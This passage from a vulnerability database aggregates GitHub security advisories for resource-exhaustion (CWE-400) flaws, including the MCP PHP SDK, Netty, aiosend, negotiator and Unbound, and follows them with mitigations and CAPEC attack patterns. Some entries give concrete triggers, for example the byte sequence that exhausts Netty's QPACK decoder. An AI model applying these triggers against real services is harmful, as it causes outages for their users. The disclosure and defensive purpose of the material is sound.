264241184 bytes)\n```\n\nThe fatal error lands on the released vendor file\n`vendor/mcp/sdk/src/Client/Transport/HttpTransport.php` line 203, inside\n`processSSEStream()`, while the delimiter-respecting control workload stays at\n2.0 MB. This confirms the unbounded SSE accumulation on the real released package.\n\n## Suggested fix\n\nBound the SSE buffer length and reject (or abort the stream) when it exceeds a\nconfigured maximum, so a server cannot force unbounded growth before a complete\nevent arrives. For example:\n\n```php\nprivate const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable\n\nprivate function processSSEStream(): void\n{\n if (null === $this-\u003eactiveStream) {\n return;\n }\n\n if (!$this-\u003eactiveStream-\u003eeof()) {\n $chunk = $this-\u003eactiveStream-\u003eread(4096);\n if (\u0027\u0027 !== $chunk) {\n if (\\strlen($this-\u003esseBuffer) + \\strlen($chunk) \u003e self::MAX_SSE_BUFFER_BYTES) {\n $this-\u003esseBuffer = \u0027\u0027;\n $this-\u003eactiveStream = null;\n $this-\u003elogger-\u003ewarning(\u0027Aborting SSE stream: buffer exceeded maximum size without a complete event.\u0027, [\n \u0027max_sse_buffer_bytes\u0027 =\u003e self::MAX_SSE_BUFFER_BYTES,\n ]);\n\n return;\n }\n $this-\u003esseBuffer .= $chunk;\n }\n }\n\n while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\"))) {\n $event = substr($this-\u003esseBuffer, 0, $pos);\n $this-\u003esseBuffer = substr($this-\u003esseBuffer, $pos + 2);\n\n if (!empty(trim($event))) {\n $this-\u003eprocessSSEEvent($event);\n }\n }\n\n if ($this-\u003eactiveStream-\u003eeof() \u0026\u0026 empty($this-\u003esseBuffer)) {\n $this-\u003eactiveStream = null;\n }\n}\n```\n\nThe cap value and the over-limit policy (abort vs. error) are the maintainers\u0027\ncall. A fix PR against a private fork of the advisory workspace accompanies this\nreport.\n\n## Fix PR\n\nA patch bounding the SSE buffer is provided as a pull request against the private\ntemporary fork created for this advisory (the GHSA workspace fork). Details and\nlink are added to this advisory\u0027s thread once the private fork PR is opened. The\npatch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.\n\n## Credit\n\nReported by tonghuaroot.",
"id": "GHSA-7m52-jw36-44r3",
"modified": "2026-08-19T19:17:50Z",
"published": "2026-08-19T19:17:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/php-sdk/security/advisories/GHSA-7m52-jw36-44r3"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/mcp/sdk/CVE-2026-53965.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/php-sdk"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/php-sdk/releases/tag/v0.7.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP PHP SDK: client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter"
}
GHSA-7M86-G9J9-26XF
Vulnerability from github – Published: 2026-09-26 15:31 – Updated: 2026-09-26 15:31Netty's HTTP/3 codec (io.netty:netty-codec-http3) versions 4.2.0.Final through 4.2.17.Final contain a denial-of-service vulnerability in the QPACK prefixed-integer decoder (QpackUtil.decodePrefixedInteger), which does not bound the number of continuation bytes it will process. A remote, unauthenticated peer can open a QPACK unidirectional stream (type 0x02 encoder or 0x03 decoder) and send a first byte with all prefix bits set (e.g. 0xFF for a 7-bit prefix or 0x3F for a 5-bit prefix) followed by an endless run of 0x80 continuation bytes. The decoder returns -1 ('need more bytes'), so callers never consume the input, the ByteToMessageDecoder cumulator grows without bound, and each decode() invocation re-scans the whole accumulated buffer, yielding O(N^2) CPU cost. The result is unbounded per-connection heap growth (OutOfMemoryError) and event-loop CPU starvation, reachable in every configuration. Fixed in 4.2.18.Final.
{
"affected": [],
"aliases": [
"CVE-2026-100661"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-26T14:16:49Z",
"severity": "HIGH"
},
"details": "Netty\u0027s HTTP/3 codec (io.netty:netty-codec-http3) versions 4.2.0.Final through 4.2.17.Final contain a denial-of-service vulnerability in the QPACK prefixed-integer decoder (QpackUtil.decodePrefixedInteger), which does not bound the number of continuation bytes it will process. A remote, unauthenticated peer can open a QPACK unidirectional stream (type 0x02 encoder or 0x03 decoder) and send a first byte with all prefix bits set (e.g. 0xFF for a 7-bit prefix or 0x3F for a 5-bit prefix) followed by an endless run of 0x80 continuation bytes. The decoder returns -1 (\u0027need more bytes\u0027), so callers never consume the input, the ByteToMessageDecoder cumulator grows without bound, and each decode() invocation re-scans the whole accumulated buffer, yielding O(N^2) CPU cost. The result is unbounded per-connection heap growth (OutOfMemoryError) and event-loop CPU starvation, reachable in every configuration. Fixed in 4.2.18.Final.",
"id": "GHSA-7m86-g9j9-26xf",
"modified": "2026-09-26T15:31:18Z",
"published": "2026-09-26T15:31:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-v5p2-hmgx-3xrx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100661"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/netty-http-3-qpack-prefixed-integer-dos-via-unbounded-accumulation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7M8F-HGJQ-8GC9
Vulnerability from github – Published: 2026-05-22 17:27 – Updated: 2026-08-06 14:38Summary
WebhookHandler.feed_update() deserializes the entire request body before verifying the HMAC signature. This allows an unauthenticated attacker to force expensive parsing of arbitrary JSON payloads that will ultimately be rejected, leading to unnecessary CPU and memory consumption.
Severity
High (CVSS 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Package
- Ecosystem: PyPI
- Package:
aiosend
Affected Versions
< 3.0.6
Patched Versions
>= 3.0.6
Details
In aiosend/webhook/base.py, WebhookHandler.feed_update() performs full Pydantic deserialization before validating the webhook signature:
update = Update.model_validate(body, context={"client": self})
if not self._check_signature(body, headers):
return False
Because authentication occurs only after parsing, anyone can send arbitrarily large JSON payloads with an invalid signature. Although the request is rejected, the server still performs all parsing work.
Additionally, CryptoPayObject is configured with:
ConfigDict(extra="allow")
allowing arbitrary extra fields to be retained in memory, increasing resource consumption.
Impact
An unauthenticated attacker can repeatedly send large invalid webhook requests, forcing the server to consume CPU time and memory before rejecting them.
This results in a pre-authentication denial-of-service condition affecting all webhook integrations.
Affected Components
aiosend/webhook/base.pyaiosend/types/base.pyAiohttpManagerFastAPIManagerFlaskManager
Workarounds
Until upgrading:
- Restrict request body size at the reverse proxy or web framework.
- Rate-limit webhook endpoints.
- Reject oversized requests before JSON parsing.
Solution
Upgrade to aiosend 3.0.6 or later.
CWE
- CWE-400: Uncontrolled Resource Consumption
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "aiosend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70646"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-22T17:27:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`WebhookHandler.feed_update()` deserializes the entire request body before verifying the HMAC signature. This allows an unauthenticated attacker to force expensive parsing of arbitrary JSON payloads that will ultimately be rejected, leading to unnecessary CPU and memory consumption.\n\n## Severity\n\n**High** (CVSS 7.5)\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n```\n\n## Affected Package\n\n- Ecosystem: PyPI\n- Package: `aiosend`\n\n## Affected Versions\n\n- `\u003c 3.0.6`\n\n## Patched Versions\n\n- `\u003e= 3.0.6`\n\n## Details\n\nIn `aiosend/webhook/base.py`, `WebhookHandler.feed_update()` performs full Pydantic deserialization before validating the webhook signature:\n\n```python\nupdate = Update.model_validate(body, context={\"client\": self})\nif not self._check_signature(body, headers):\n return False\n```\n\nBecause authentication occurs only after parsing, anyone can send arbitrarily large JSON payloads with an invalid signature. Although the request is rejected, the server still performs all parsing work.\n\nAdditionally, `CryptoPayObject` is configured with:\n\n```python\nConfigDict(extra=\"allow\")\n```\n\nallowing arbitrary extra fields to be retained in memory, increasing resource consumption.\n\n## Impact\n\nAn unauthenticated attacker can repeatedly send large invalid webhook requests, forcing the server to consume CPU time and memory before rejecting them.\n\nThis results in a pre-authentication denial-of-service condition affecting all webhook integrations.\n\n## Affected Components\n\n- `aiosend/webhook/base.py`\n- `aiosend/types/base.py`\n- `AiohttpManager`\n- `FastAPIManager`\n- `FlaskManager`\n\n## Workarounds\n\nUntil upgrading:\n\n- Restrict request body size at the reverse proxy or web framework.\n- Rate-limit webhook endpoints.\n- Reject oversized requests before JSON parsing.\n\n## Solution\n\nUpgrade to **aiosend 3.0.6** or later.\n\n## CWE\n\n- CWE-400: Uncontrolled Resource Consumption",
"id": "GHSA-7m8f-hgjq-8gc9",
"modified": "2026-08-06T14:38:20Z",
"published": "2026-05-22T17:27:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vovchic17/aiosend/security/advisories/GHSA-7m8f-hgjq-8gc9"
},
{
"type": "WEB",
"url": "https://github.com/vovchic17/aiosend/commit/db20f0a742209dfac181863d398ec5112687efa4"
},
{
"type": "PACKAGE",
"url": "https://github.com/vovchic17/aiosend"
},
{
"type": "WEB",
"url": "https://github.com/vovchic17/aiosend/releases/tag/v3.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "aiosend: Deserialization of request body before signature verification (Pre-auth DoS) in webhook handler"
}
GHSA-7MC5-CHHP-FMC3
Vulnerability from github – Published: 2018-10-09 00:30 – Updated: 2020-08-31 18:11Affected versions of negotiator are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted Accept-Language header value.
Recommendation
Update to version 0.6.1 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "negotiator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-10539"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:22:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `negotiator` are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted `Accept-Language` header value.\n\n\n\n\n## Recommendation\n\nUpdate to version 0.6.1 or later.",
"id": "GHSA-7mc5-chhp-fmc3",
"modified": "2020-08-31T18:11:01Z",
"published": "2018-10-09T00:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10539"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7mc5-chhp-fmc3"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/106"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Regular Expression Denial of Service in negotiator"
}
GHSA-7MC5-X7XH-682H
Vulnerability from github – Published: 2022-09-27 00:00 – Updated: 2025-05-05 18:32A vulnerability named 'Non-Responsive Delegation Attack' (NRDelegation Attack) has been discovered in various DNS resolving software. The NRDelegation Attack works by having a malicious delegation with a considerable number of non responsive nameservers. The attack starts by querying a resolver for a record that relies on those unresponsive nameservers. The attack can cause a resolver to spend a lot of time/resources resolving records under a malicious delegation point where a considerable number of unresponsive NS records reside. It can trigger high CPU usage in some resolver implementations that continually look in the cache for resolved NS records in that delegation. This can lead to degraded performance and eventually denial of service in orchestrated attacks. Unbound does not suffer from high CPU usage, but resources are still needed for resolving the malicious delegation. Unbound will keep trying to resolve the record until hard limits are reached. Based on the nature of the attack and the replies, different limits could be reached. From version 1.16.3 on, Unbound introduces fixes for better performance when under load, by cutting opportunistic queries for nameserver discovery and DNSKEY prefetching and limiting the number of times a delegation point can issue a cache lookup for missing records.
{
"affected": [],
"aliases": [
"CVE-2022-3204"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-26T14:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability named \u0027Non-Responsive Delegation Attack\u0027 (NRDelegation Attack) has been discovered in various DNS resolving software. The NRDelegation Attack works by having a malicious delegation with a considerable number of non responsive nameservers. The attack starts by querying a resolver for a record that relies on those unresponsive nameservers. The attack can cause a resolver to spend a lot of time/resources resolving records under a malicious delegation point where a considerable number of unresponsive NS records reside. It can trigger high CPU usage in some resolver implementations that continually look in the cache for resolved NS records in that delegation. This can lead to degraded performance and eventually denial of service in orchestrated attacks. Unbound does not suffer from high CPU usage, but resources are still needed for resolving the malicious delegation. Unbound will keep trying to resolve the record until hard limits are reached. Based on the nature of the attack and the replies, different limits could be reached. From version 1.16.3 on, Unbound introduces fixes for better performance when under load, by cutting opportunistic queries for nameserver discovery and DNSKEY prefetching and limiting the number of times a delegation point can issue a cache lookup for missing records.",
"id": "GHSA-7mc5-x7xh-682h",
"modified": "2025-05-05T18:32:25Z",
"published": "2022-09-27T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3204"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00024.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/35QGS5FBQTG3DBSK7QV67PA64P24ABHY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3G2HS6CYPSIGAKO6QLEZPG3RD6AMPB7B"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4S4EU6DMJXQFMAIE6SLAH4H5RNRU6VQL"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/35QGS5FBQTG3DBSK7QV67PA64P24ABHY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3G2HS6CYPSIGAKO6QLEZPG3RD6AMPB7B"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4S4EU6DMJXQFMAIE6SLAH4H5RNRU6VQL"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202212-02"
},
{
"type": "WEB",
"url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2022-3204.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7MCH-5P8P-X68J
Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2022-05-24 17:17A ZTE product is impacted by a resource management error vulnerability. An attacker could exploit this vulnerability to cause a denial of service by issuing a specific command. This affects: ZXCTN 6500 version V2.10.00R3B87.
{
"affected": [],
"aliases": [
"CVE-2020-6866"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-30T22:15:00Z",
"severity": "MODERATE"
},
"details": "A ZTE product is impacted by a resource management error vulnerability. An attacker could exploit this vulnerability to cause a denial of service by issuing a specific command. This affects: ZXCTN 6500 version V2.10.00R3B87.",
"id": "GHSA-7mch-5p8p-x68j",
"modified": "2022-05-24T17:17:03Z",
"published": "2022-05-24T17:17:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6866"
},
{
"type": "WEB",
"url": "http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1012803"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7MGW-WJG9-2H5F
Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-05-13 01:01An exploitable Denial of Service vulnerability exists in the API daemon of Circle with Disney running firmware 2.0.1. A large amount of simultaneous TCP connections causes the APID daemon to repeatedly fork, causing the daemon to run out of memory and trigger a device reboot. An attacker needs network connectivity to the device to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2017-2889"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-07T16:29:00Z",
"severity": "HIGH"
},
"details": "An exploitable Denial of Service vulnerability exists in the API daemon of Circle with Disney running firmware 2.0.1. A large amount of simultaneous TCP connections causes the APID daemon to repeatedly fork, causing the daemon to run out of memory and trigger a device reboot. An attacker needs network connectivity to the device to trigger this vulnerability.",
"id": "GHSA-7mgw-wjg9-2h5f",
"modified": "2022-05-13T01:01:16Z",
"published": "2022-05-13T01:01:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2889"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0396"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.